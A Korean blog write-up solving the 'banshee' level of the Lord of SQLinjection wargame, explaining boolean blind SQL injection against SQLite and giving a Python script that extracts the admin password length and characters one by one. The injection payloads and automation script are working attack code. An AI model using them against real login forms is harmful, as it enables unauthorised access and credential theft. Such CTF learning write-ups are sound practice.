이번 문제도 똑같이 sqlite를 해결하는 문제이다.
코드를 자세히 보면 " login success! "를 통해 로그인은 우회하되, 아마도 이 응답을 통해 blind injection을 하겠다는 생각을 1차적으로 먼저 하게 되었다. 일단 pw를 알아야 로그인이 되므로, pw를 한글자씩 알아내야 한다.
가장 기본적인 pw = ' ' or 1=1 -- 로 우회를 시도했더니 우회 성공!
그러면 이제 or 뒤에 조건문과 참/ 거짓을 판별할 수 있는 공격 쿼리를 넣어주자.
처음에 이런식으로 넣어줬다.
( id = 'admin' and pw =' ' ) 거짓 or (1=1) 참 and ( length(pw)=5 ) 참?거짓?몰라
일단, 쿼리문에서 and가 or보다 높은 우선순위를 따지므로..
만약 length(pw)=5가 참이라면 참 and 참 => 무조건 참이 된다. or 뒷부분이 모두 참이므로 거짓 or 참은 결과적으로 참이 된다.
하지만, length(pw)=5가 거짓이라면 거짓 and 참 => 무조건 거짓. or 뒷부분이 모두 거짓이므로 거짓 or 거짓은 결과적으로 거짓이 된다.
※ length(pw)=5가 success가 되길래.. 계속 길이가 5인 줄 알고 풀었다가 pw가 맞지 않아 결국 문제가 풀리지 않아서 애를 먹었다.. 그 이유는 조건을 걸어주지 않았기 때문이다. id = admin에 해당하는 pw를 찾는 것이기에 or 뒷 절에도 앞에서 거짓이 된 id = 'admin' 조건을 한번 더 활성화시켜줘야 한다.
어느 정도 공격 쿼리를 짰으니, 빠르게 자동화 코드를 작성한다.
import requests
url ="https://los.rubiya.kr/chall/banshee_ece938c70ea2419a093bb0be9f01a7b1.php" #공격URL
cookies ={"PHPSESSID": "?"} #쿠키값
#패스워드 길이 찾기
def pw_len():
len_num = 0
while 1 :
len_num = len_num + 1
value = "' or id='admin' and length(pw)={}--".format(len_num) #injection payload
parmas = {'pw': value}
response = requests.get(url,params=parmas, cookies=cookies)
print(len_num)
if "login success!" in response.text: #응답값 차이 확인
print("password length : ", len_num)
break
return len_num
def pw_real(len_num):
pw=''
for i in range(1,len_num+1):
print(i,"번째 검색 중")
for j in range(48, 122): #아스키코드값 48번부터 122번
value = "' or id='admin' and substr(pw,{},1)='{}' --".format(i,chr(j)) #injection payload
parmas = {'pw':value}
response = requests.get(url, params=parmas, cookies=cookies)
print(chr(j))
if "login success!" in response.text: #응답값에 Hello admin이 있으면 반환
pw += chr(j) #chr(): 아스키코드값 -> 문자
print("password : ", pw)
break
return pw
pw_real(pw_len())
위 코드를 작성할 때도 계속 python 에서 사용하는 함수와 쿼리문에서 사용되는 함수에 구분을 하지 못해서 계속 삽질을 했다.. 무의미한 시간 낭비!
이런 식으로 pw 찾기
성공,!
'WEB > Lord of SQLinjection' 카테고리의 다른 글
[LOS] step39. poltergeist 풀이 (0) | 2023.10.19 |
---|---|
[LOS] step37. manticore 풀이 (1) | 2023.10.18 |
[LOS] step36. chupacabra 풀이 (1) | 2023.10.18 |
[LOS] step35. cyclops 풀이 (0) | 2023.10.18 |
[LOS] step34. godzilla 풀이 (0) | 2023.10.17 |